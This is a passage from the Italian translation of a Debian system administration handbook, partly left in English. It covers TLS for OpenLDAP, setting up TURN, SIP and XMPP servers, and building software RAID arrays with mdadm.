Tabella 11.3. Configurazione di libpam-ldap

Domanda

Risposta

Permettere all'account amministrativo LDAP di agire come root?

Sì. Questo ci consente di utilizzare il comando passwd per cambiare le password conservate nel database LDAP.

Il database LDAP richiede il login?

no

L'account LDAP per root

cn=admin,dc=falcot,dc=com

La password per l'account root di LDAP

La password amministrativa del database LDAP

Algoritmo di crittografia locale da utilizzare per le password

cripta

L'installazione di libpam-ldap adatta automaticamente la configurazione predefinita di PAM contenuta nei file /etc/pam.d/common-auth, /etc/pam.d/common-password e /etc/pam.d/common-account. Questo meccanismo utilizza lo strumento dedicato pam-auth-update (fornito con il pacchetto libpam-runtime). Questo strumento può anche essere eseguito dall'amministratore qualora desideri abilitare o disabilitare dei moduli PAM.

11.7.3.3. Mettere al sicuro lo scambio dati di LDAP

In via predefinita il protocollo LDAP transita sulla rete come testo in chiaro: questo include le password (cifrate). Poiché le password cifrate possono essere estratte dalla rete rimangono vulnerabili ad attacchi a dizionario. Questo può essere evitato utilizzando uno strato di cifratura addizionale: abilitare questo strato è l'argomento di questa sezione.

11.7.3.3.1. Configurazione del server

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

Ora questi tasti devono essere installati nella loro posizione standard, e dobbiamo fare in modo che il file privato sia leggibile dal server LDAP che gira sotto l'identità utente openldap:

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...

Adding user openldap to group ssl-cert

Done.

# mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key

# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key

# chmod 0640 /etc/ssl/private/ldap.falcot.com.key

# ./eassyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1c  28 May 2019

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

........................................................+..........................................................................+...............................................................................+............

[...]

DH parameters of size 2048 created at /home/roland/pki/dh.pem

# mv pki/dh.pem /etc/ssl/certs/ldap.falcot.com.pem

Bisogna anche dire al demone slapd di usare queste chiavi per la crittografia. La configurazione del server LDAP è gestita dinamicamente: la configurazione può essere aggiornata con le normali operazioni LDAP sulla gerarchia di oggetti cn=config, ed il server aggiornerà /etc/ldap/slapd.d in tempo reale per rendere la configurazione persistente. ldapmodify è quindi lo strumento giusto per aggiornare la configurazione:

Esempio 11.24. Configurare slapd per la cifratura

# cat >ssl.ldif <<END

dn: cn=config

changetype: modify

add: olcTLSCertificateFile

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

-

add: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key

-

END

# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

STRUMENTO ldapvi per modificare una directory LDAP

Con il comando ldapvi, è possibile visualizzare un output LDIF di qualsiasi parte della directory LDAP, apportare alcune modifiche nell'editor di testo, e lasciare che lo strumento faccia le operazione LDAP per voi.

E' quindi un modo conveniente per aggiornare la configurazione del server LDAP, semplicemente modificando la gerarchia cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

L'ultimo passo per abilitare la cifratura richiede la modifica della variabile SLAPD_SERVICES nel file /etc/default/slapd. Inoltre, per essere prudenti, si renderà necessario disabilitare l'LDAP non sicuro.

Esempio 11.25. Il file /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to

# /etc/ldap/slapd.conf).

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by

# default)

SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"

SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work).  Uncomment this if you are

# starting slapd via some other means or if you don't want slapd normally

# started at boot.

#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still

# work).  Use this for temporarily disabling startup of slapd (when doing

# maintenance, for example, or through a configuration management system)

# when you don't want to edit a configuration file.

SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system

# keytab file (/etc/krb5.keytab).  To use a different keytab file,

# uncomment this line and change the path.

#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. Configurare il client

Sul client, la configurazione per i moduli libpam-ldap e libnss-ldap deve essere modificata per usare un URI ldaps://.

I cliet LDAP devono essere in grado di autenticare il server. In un'infrastruttura a chiave pubblica X.509, i certificati pubblici sono firmati con una chiavedi un'autorità di certificazione (CA). Con esy-rsa, gli amministratori Falcot hanno creato la propria CA ed ora hanno bisogno di configurare il sistema per rendere fidate (trusted) le firme della CA di Falcot. Questo può essere fatto mettendo il certificato CA in /usr/local/share/ca-certificates ed eseguendo update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt

# update-ca-certificates

Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.

Running hooks in /etc/ca-certificates/update.d....

Adding debian:falcot.pem

done.

done.

Ultimo ma non meno importante, l'URI LDAP predefinito e la base DN predefinita utilizzati dai vari strumenti della riga di comando possono essere modificati in /etc/ldap/ldap.conf. Ciò farà risparmiare un bel po' di battitura.

Esempio 11.26. Il file /etc/ldap/ldap.conf

#

# LDAP Defaults

#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

BASE   dc=falcot,dc=com

URI    ldaps://ldap.falcot.com

#SIZELIMIT      12

#TIMELIMIT      15

#DEREF          never

# TLS certificates (needed for GnuTLS)

TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. Servizi di Comunicazione Real-Time

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

Sia SIP e XMPP in grado di fornire le stesse funzionalità. SIP è un po' più conosciuto per voce e video mentre XMPP è tradizionalmente considerato come un protocollo di messaggistica istantanea. In realtà, entrambi possono essere utilizzati per qualsiasi di questi scopi. Per massimizzare le opzioni di connettività, si consiglia di eseguire entrambi in parallelo.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See Sezione 10.2, «X.509 certificates» for more information.

11.8.1. Impostazioni DNS per i servizi RTC

I servizi RTC richiedono registrazioni DNS SVR e NAPTR. Un esempio di configurazione che può essere collocato nel file di zona per falcot.com:

; the server where everything will run

server1            IN     A      198.51.100.19

server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6

turn-server        IN     A      198.51.100.19

; IPv4 and IPv6 addresses for SIP

sip-proxy          IN     A      198.51.100.19

sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP

xmpp-gw            IN     A      198.51.100.19

xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN

_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.

_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.

@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP

_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.

@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:

_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.

_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. Server TURN

TURN è un servizio che aiuta i clienti dietro router NAT e firewall a scoprire il modo più efficace per comunicare con altri clienti e per trasmettere i flussi multimediali se non può essere trovato nessun percorso multimediale diretto. E' vivamente consigliato che il server TURN sia installato prima che tutti gli altri servizi RTC vengano offerti agli utenti finali.

TURN e il relativo protocollo ICE sono degli standard aperti. Per beneficiare di questi protocolli, massimizzando la connettività e riducendo al minimo la frustrazione degli utenti, è importante assicurarsi che tutto il software client supporti ICE e TURN.

Perchè l'algoritmo ICE lavori in modo efficace, il server deve avere due indirizzi IPv4 pubblici.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running /usr/bin/turnserver. We want the server to be an an automatically started system service, so we edit the /etc/default/coturn file like this:

#

# Uncomment it if you want to have the turnserver running as

# an automatic system service daemon

#

TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com

# turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. Proxy Server SIP

Un server proxy SIP gestisce le connessioni SIP in entrata e in uscita tra le altre organizzazioni, fornitori di SIP trunking, PBXes SIP come Asterisk, telefoni SIP, softphone SIP-based e applicazioni WebRTC.

E' altamente raccomandato installare e configurare il proxy SIP prima di tentare una configurazione SIP PBX. Il proxy SIP normalizza la magior partedel traffico che raggiunge il PBX e fornisce una maggiore connettività e resilienza.

11.8.3.1. Installare il proxy SIP

Install the kamailio package and the package for the database backend, the Falcot administrators chose MySQL, so they install mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...]

## your SIP domain

SIP_DOMAIN=sip.falcot.com

## chrooted directory

# $CHROOT_DIR="/path/to/chrooted/directory"

## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded

#

# If you want to setup a database with kamdbctl, you must at least specify

# this parameter.

DBENGINE=MYSQL

[...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO

#

# Kamailio (OpenSER) SIP Server v5.2 - default configuration script

#     - web: https://www.kamailio.org

#     - git: https://github.com/kamailio/kamailio

#!define WITH_MYSQL

#!define WITH_AUTH

#!define WITH_USRLOCDB

[...]

Kamailio needs a database structure that we can create running kamdbctl create as root.

Finally, we can add some users with kamctl.

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see Sezione 13.10, «Software Comunicazioni Real-Time»)

11.8.4. Server XMPP

Un server XMPP gestisce la connettività tra gli utenti XMPP locali e gli utenti XMPP in altri domini su Internet pubblico.

VOCABOLARIO XMPP o Jabber?

XMPP è a volte indicato come Jabber. In realtà, Jabber è un marchio e XMPP è il nome ufficiale dello standard.

Prosody è un popolare server XMPP che opera in modo affidabile su server Debian.

11.8.4.1. Installa il server XMPP

Install the prosody package.

Rivedere il file di configurazione /etc/prosody/prosody.cfg.lua. La cosa più importante da fare è inserire i JIDs degli utenti che hanno il permesso di gestire il server.

admins = { "joe@falcot.com" }

E' necessario un file di configurazione individuale per ogni dominio. Copiare l'esempio da /etc/prosody/conf.avail/example.com.cfg.lua ed usarlo come punto di partenza. Qui è falcot.com.cfg.lua:

VirtualHost "falcot.com"

enabled = true

ssl = {

key = "/etc/ssl/private/falcot.com-key.pem";

certificate = "/etc/ssl/public/falcot.com.pem";

}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.falcot.com" "muc"

Per abilitare il dominio ci deve essere un collegamento simbolico a/etc/prosody/conf.d/. Crearlo in questo modo:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Riavvia il servizio per usare la nuova configurazione.

11.8.4.2. Gestione del server XMPP

Alcune operazioni di gestione possono essere eseguite utilizzando l'utility da riga di comando prosodyctl. Per esempio, per aggiungere l'account amministratore specificato in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. Servizi in esecuzione sulla porta 443

Alcuni amministratori preferiscono eseguire tutti i loro servizi RTC sulla porta 443. Ciò consente agli utenti di collegarsi da postazioni remote come alberghi e aeroporti dove altre porte potrebbero essere bloccate o il traffico Internet venire instradato attraverso server proxy HTTP.

Per utilizzare questa strategia, ogni servizio (SIP, XMPP e TURN) ha bisogno di un indirizzo IP diverso. Tutti i servizi possono essere ancora sullo stesso host poiché Linux supporta più indirizzi IP su un singolo host. Il numero della porta, 443, deve essere specificato nel file di configurazione per ogni processo e anche nei record DNS SRV.

11.8.6. Aggiungere WebRTC

La Falcot vuole consentire ai clienti di effettuare chiamate telefoniche direttamente dal sito web. Gli amministratori Falcot vogliono anche usare WebRTC come parte del loro piano di disaster recovery, possono utilizzare per uso personale il browser web a casa per accedere al sistema telefonico aziendale e lavorare normalmente in caso di emergenza.

IN PRATICA Provare WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://www.sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://github.com/centricular/gstwebrtc-demos

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

Questo capitolo ha unicamente dato dimostrazione di una piccola parte dei software disponibili per i sistemi server: tuttavia molti dei servizi di rete comuni sono stati descritti. Ora è tempo di passare ad un capitolo ancora più tecnico: scenderemo ancor più in profondità su alcuni concetti, descrivendo implementazioni massive e virtualizzazione.

Capitolo 12. Amministrazione avanzata

Questo capitolo rivede alcuni aspetti già descritti in precedenza, ma da una diversa prospettiva: invece di installare una singola macchina, si studiano sistemi di allestimento più vasti; invece di creare volumi RAID o LVM durante l'installazione, si descrive la procedura per farlo a mano in modo da poter rivedere in seguito le scelte iniziali. Infine, si discutono strumenti di monitoraggio e tecniche di virtualizzazione. Di conseguenza, questo capitolo è più orientato agli amministratori professionisti e meno ai singoli individui responsabili della rete di casa propria.

12.1. RAID e LVM

Capitolo 4, Installazione ha presentato queste tecnologie dal punto di vista dell'installatore, e di come questi li integrava per rendere il loro allestimento facile fin dall'inizio. Dopo l'installazione iniziale, un amministratore deve poter far fronte alle mutevoli necessità di spazio disco senza dover ricorrere a una reinstallazione costosa. Deve pertanto padroneggiare gli strumenti richiesti per manipolare volumi RAID e LVM.

RAID e LVM sono entrambe tecniche per astrarre i volumi montati dalle loro controparti fisiche (gli effettivi dischi fissi o le loro partizioni); il primo garantisce la sicurezza e la disponibilità dei dati in caso di guasto hardware introducendo la ridondanza, l'ultimo rende la gestione dei dati più flessibile e indipendente dall'effettiva dimensione dei dischi sottostanti. In entrambi i casi, il sistema acquisisce nuovi dispositivi a blocchi, che possono essere usati per creare filesystem o spazio di swap, senza necessariamente essere mappati su un unico disco fisico. RAID e LVM provengono da ambienti molto diversi, ma le loro funzionalità spesso si possono sovrapporre, che è il motivo per cui spesso vengono menzionati insieme.

PROSPETTIVA Btrfs combina LVM and RAID

Mentre LVM e RAID sono due sottosistemi distinti del kernel che si interpongono fra i dispositivi disco a blocchi e i loro file system, btrfs è un file system, sviluppato inizialmente da Oracle, che si propone di combinare le funzionalità di LVM e RAID e molto altro.

→ https://btrfs.wiki.kernel.org/index.php/Main_Page

Fra le funzionalità degne di nota vi sono la capacità di fare un'istantanea di un file system in ogni momento. Questa copia istantanea all'inizio non occupa spazio su disco, in quanto i dati vengono duplicati solo quando una delle copie viene modificata. Il file system inoltre gestisce la compressione trasparente dei file e dei codici di controllo assicurano l'integrità di tutti i dati memorizzati.

Sia nel RAID che nell'LVM, il kernel fornisce un file di device a blocchi, simile a quelli corrispondenti a un disco fisso o a una partizione. Quando un'applicazione o un'altra parte del kernel richiede l'accesso a un blocco di questo device, il sottosistema appropriato dirige il blocco allo strato fisico di competenza. A seconda della configurazione, questo blocco può essere memorizzato su uno o più dischi fisici e la sua posizione fisica potrebbe non essere direttamente correlata alla posizione del blocco nel device logico.

12.1.1. RAID software

RAID significa Redundant Array of Independent Disks (array ridondante di dischi indipendenti). Lo scopo di questo sistema è di impedire la perdita di dati e garantire la disponibilità in caso di guasto di un disco fisso. Il principio generale è molto semplice: i dati sono memorizzati su diversi dischi fisici piuttosto che su uno solo, con un livello di ridondanza configurabile. A seconda della quantità di ridondanza e anche in caso di guasto inatteso di un disco, i dati possono essere ricostruiti dai dischi rimanenti, senza alcuna perdita.

CULTURA Indipendente o a poco prezzo?

La I in RAID all'inizio stava per inexpensive (a poco prezzo), perché il RAID permetteva un drastico aumento della sicurezza dei dati senza richiedere investimenti in costosi dischi di fascia alta. Tuttavia, probabilmente per questioni di immagine, oggi è più consueto riferirsi ad essa come independent (indipendente), che non ha quel sapore insipido di economicità.

Il RAID può essere implementato sia tramite hardware dedicato (moduli RAID integrati in schede con controllori SCSI o SATA) sia tramite astrazione software (il kernel). Che sia hardware o software, un sistema RAID con sufficiente ridondanza può rimanere operativo in modo trasparente quando un disco si guasta; gli strati superiori della pila (applicazioni) possono perfino continuare ad accedere ai dati nonostante il guasto. Ovviamente questa «modalità degradata» può avere un impatto sulle prestazioni e inoltre viene ridotta la ridondanza, quindi un ulteriore guasto di un disco può provocare perdita di dati. In pratica, perciò, si cerca di rimanere in questa modalità degradata solo per il tempo necessario a sostituire il disco guasto. Una volta che il nuovo disco è al suo posto, il sistema RAID può ricostruire i dati richiesti e così tornare in modalità sicura. Le applicazioni non si accorgeranno di alcunché, a parte per la velocità di accesso potenzialmente ridotta, mentre l'array è in modalità degradata o durante la fase di ricostruzione.

Quando il RAID è implementato via hardware, la sua configurazione avviene generalmente all'interno dello strumento di configurazione del BIOS, ed il kernel considererà l'array RAID come un disco singolo, che funzionerà come un tradizionale disco singolo, anche il nome del dispositivo potrebbe essere differente (a seconda del driver).

In questo libro ci focalizzeremo sul RAID software.

12.1.1.1. Diversi livelli di RAID

Il RAID non è effettivamente un singolo sistema, ma una serie di sistemi identificati dai rispettivi livelli; che si distinguono per la loro disposizione e la quantità di ridondanza che forniscono. Più è ridondante, più è a prova di guasti, dal momento che il sistema sarà in grado di continuare a funzionare con più dischi rotti. Il rovescio della medaglia è che lo spazio utilizzabile diminuisce per un dato insieme di dischi; visto in un altro modo, servono più dischi per memorizzare la stessa quantità di dati.

RAID lineare

Anche se il sottosistema del kernel permette di creare un «RAID lineare», questo non è un RAID vero e proprio, poiché questa configurazione non prevede alcuna ridondanza. Il kernel semplicemente aggrega diversi dischi in fila e mette a disposizione il volume aggregato che ne risulta come un unico disco virtuale (un unico device a blocchi). Questa è praticamente la sua unica funzione. Questa configurazione è raramente usata da sola (vedere più avanti per le eccezioni), soprattutto in quanto la mancanza di ridondanza implica che basta un guasto a un singolo disco per rendere l'intero aggregato, e dunque tutti i dati, indisponibile.

RAID-0

Anche questo livello non fornisce alcuna ridondanza, ma i dischi non sono semplicemente messi in fila uno dietro l'altro: sono divisi in strisce e i blocchi sul device virtuale sono memorizzati su strisce su dischi fisici alternati. In un'impostazione RAID-0 a due dischi, per esempio, i blocchi di numero pari del device virtuale saranno memorizzati sul primo disco fisico, mentre i blocchi di numero dispari finiranno sul secondo disco fisico.

Questo sistema non mira ad aumentare l'affidabilità, in quanto (come nel caso del lineare) la disponibilità di tutti i dati è a rischio non appena un disco si guasta, ma ad aumentare le prestazioni: durante l'accesso sequenziale a grandi quantità di dati contigui, il kernel potrà leggere da entrambi i dischi (o scrivere su di essi) in parallelo, il che aumenta la velocità di trasferimento dei dati. I dischi vengono utilizzati interamente dal dispositivo RAID, quindi dovrebbero avere le stesse dimensioni per non avere perdita di prestazioni.

L'uso del RAID-0 sta diminuendo a favore di LVM (vedere più avanti).

RAID-1

Questo livello, noto anche come «RAID mirroring», è la configurazione più semplice e più usata. Nella sua forma standard, usa due dischi fisici della stessa grandezza e fornisce un volume logico anch'esso della stessa grandezza. I dati sono memorizzati in modo identico su entrambi i dischi, da cui il soprannome «mirror». Quando un disco si guasta, i dati sono ancora disponibili sull'altro. Per dati veramente critici, il RAID-1 può ovviamente essere impostato su più di due dischi, il che ha delle conseguenze sul rapporto fra costo dell'hardware e spazio disponibile.

NOTA Dischi e grandezze dei cluster

Se due dischi di dimensioni diverse vengono usati in mirror, il più grande non sarà usato completamente, in quanto conterrà gli stessi dati del più piccolo e nulla più. Lo spazio utile disponibile fornito da un volume RAID-1 perciò coincide con la dimensione del disco più piccolo nell'array. Ciò vale anche per volumi RAID con un diverso livello di RAID, anche se la ridondanza viene memorizzata diversamente.

È quindi importante, quando si configurano gli array RAID (eccetto il RAID-0 e il «RAID lineare»), assemblare solo dischi di dimensioni identiche, o molto vicine fra loro, per evitare di sprecare risorse.

NOTA Dischi di riserva

I livelli RAID che includono la ridondanza permettono di assegnare più dischi del necessario a un array. I dischi in più sono usati come riserva quando uno dei dischi principali si guasta. Per esempio, in un mirror di due dischi più una riserva, se uno dei primi due dischi si guasta, il kernel ricostruirà automaticamente (e immediatamente) il mirror usando il disco di riserva, cosicché la ridondanza resta assicurata dopo il tempo necessario alla ricostruzione. Ciò può essere usato come un'altra forma di salvaguardia per dati critici.

Ci si può legittimamente chiedere perché questo sarebbe meglio di un semplice mirror su tre dischi. Il vantaggio della configurazione col disco di riserva è che il disco di riserva può essere condiviso fra più volumi RAID. Ad esempio, si possono avere tre volumi in mirror, con ridondanza assicurata anche in caso di guasto di un disco, con soli sette dischi (tre coppie più una riserva condivisa) invece dei nove dischi che servirebbero per formare tre terne.

Questo livello di RAID, sebbene costoso (dal momento che al massimo è disponibile metà dello spazio fisico dei dischi), è ampiamente usato in pratica. È semplice da capire e permette di fare dei backup in modo molto semplice: dal momento che entrambi i dischi hanno gli stessi contenuti, uno di essi può essere temporaneamente estratto senza conseguenze sul sistema in funzione. Inoltre, spesso le prestazioni in lettura aumentano in quanto il kernel può leggere metà dati da ciascun disco in parallelo, mentre le prestazioni in scrittura non ne risentono troppo. Nel caso di un array RAID-1 di N dischi, i dati restano disponibili anche in caso si guastino N-1 dischi.

RAID-4

Questo livello di RAID, non molto usato, usa N dischi per memorizzare dati utili e un disco in più per memorizzare le informazioni di ridondanza. Se quel disco si guasta, il sistema può ricostruire i suoi contenuti a partire dagli altri N. Se uno degli N dischi con i dati si guasta, i rimanenti N-1 insieme al disco di «parità» contengono abbastanza informazioni per ricostruire i dati richiesti.

Il RAID-4 non è eccessivamente costoso, dal momento che richiede un aumento dei costi di appena uno-su-N e non ha un impatto notevole sulle prestazioni in lettura, ma le scritture ne risultano rallentate. Inoltre, dal momento che la scrittura su uno qualunque degli N dischi richiede anche una scrittura sul disco di parità, quest'ultimo riceve molte più scritture del primo e di conseguenza la sua vita può ridursi notevolmente. I dati su un array RAID-4 sono sicuri solo fino alla rottura di un solo disco (degli N+1).

RAID-5

Il RAID-5 risolve il problema di asimmetria del RAID-4: i blocchi di parità sono distribuiti su tutti gli N+1 dischi, senza che un unico disco abbia un ruolo particolare.

Le prestazioni in lettura e scrittura sono identiche al RAID-4. Anche qui il sistema rimane in funzione fino al guasto di un unico disco (degli N+1).

RAID-6

Il RAID-6 si può considerare un'estensione del RAID-5, in cui ciascuna serie di N blocchi richiede due blocchi di ridondanza e ciascuna di queste serie di N+2 blocchi viene distribuita su N+2 dischi.

Questo livello di RAID è leggermente più costoso dei due precedenti, ma fornisce un po' di sicurezza in più, dal momento che possono guastarsi fino a due dischi (degli N+2) senza compromettere la disponibilità dei dati. Il difetto è che le operazioni di scrittura ora richiedono la scrittura di un blocco di dati e due blocchi di ridondanza, il che le rende ancora più lente.

RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

Il RAID-1+0 può sopravvivere al guasto di più dischi: fino a N nell'array 2×n descritto sopra, a condizione che almeno un disco continui a funzionare in ciascuna coppia RAID-1.

APPROFONDIMENTI RAID-10

Il RAID-10 viene generalmente considerato un sinonimo di RAID-1+0, ma una particolarità di Linux lo rende in realtà una generalizzazione. Questa configurazione permette di avere un sistema in cui ogni blocco è memorizzato su due dischi diversi, anche con un numero dispari di dischi; le copie vengono poi distribuite secondo un modello configurabile.

Le prestazioni varieranno a seconda del modello di ripartizione e dal livello di ridondanza scelti e dal carico di lavoro del volume logico.

Ovviamente, il livello di RAID verrà scelto a seconda dei vincoli e dei requisiti di ciascuna applicazione. Notare che un solo computer può avere diversi array RAID distinti con diverse configurazioni.

12.1.1.2. Impostazione di un RAID

L'impostazione di volumi RAID richiede il pacchetto mdadm; esso fornisce il comando mdadm, che permette di creare e manipolare array RAID, oltre che script e strumenti per integrarlo al resto del sistema, compreso il sistema di monitoraggio.

Questo esempio mostrerà un server con un certo numero di dischi, alcuni dei quali sono già usati e i rimanenti sono disponibili per impostare il RAID. All'inizio si hanno i seguenti dischi e partizioni:

- il disco sdb, 4 GB, è interamente disponibile;

- il disco sdc, 4 GB, è anch'esso interamente disponibile;

- sul disco sdd, solo la partizione sdd2 (circa 4 GB) è disponibile;

- infine, un disco sde, di nuovo di 4 GB, interamente disponibile.

NOTA: identificazione dei volumi RAID esistenti

Il file /proc/mdstat elenca i volumi già esistenti e i loro stati. Quando si crea un nuovo volume RAID, bisogna fare attenzione a non dargli lo stesso nome di un volume esistente.

Questi elementi fisici verranno usati per costruire due volumi, un RAID-0 e un mirror (RAID-1). Si inizia col volume RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Tue Jun 25 08:47:49 2019

Raid Level : raid0

Array Size : 8378368 (7.99 GiB 8.58 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Tue Jun 25 08:47:49 2019

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Chunk Size : 512K

Consistency Policy : none

Name : mirwiz:0  (local to host debian)

UUID : 146e104f:66ccc06d:71c262d7:9af1fbc7

Events : 0

Number   Major   Minor   RaidDevice State

0       8       32        0      active sync   /dev/sdb

1       8       48        1      active sync   /dev/sdc

# mkfs.ext4 /dev/md0

mke2fs 1.44.5 (15-Dec-2018)

Discarding device blocks: done

Creating filesystem with 2094592 4k blocks and 524288 inodes

Filesystem UUID: 413c3dff-ab5e-44e7-ad34-cf1a029cfe98

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem      Size  Used Avail Use% Mounted on

/dev/md0        7.9G   36M  7.4G   1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

La creazione di un RAID-1 segue un percorso simile, la differenza si nota solo dopo la creazione:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde

mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device.  If you plan to

store '/boot' on this device please ensure that

your boot-loader understands md/v1.x metadata, or use

--metadata=0.90

mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%

Continue creating array? y

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Tue Jun 25 10:21:22 2019

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

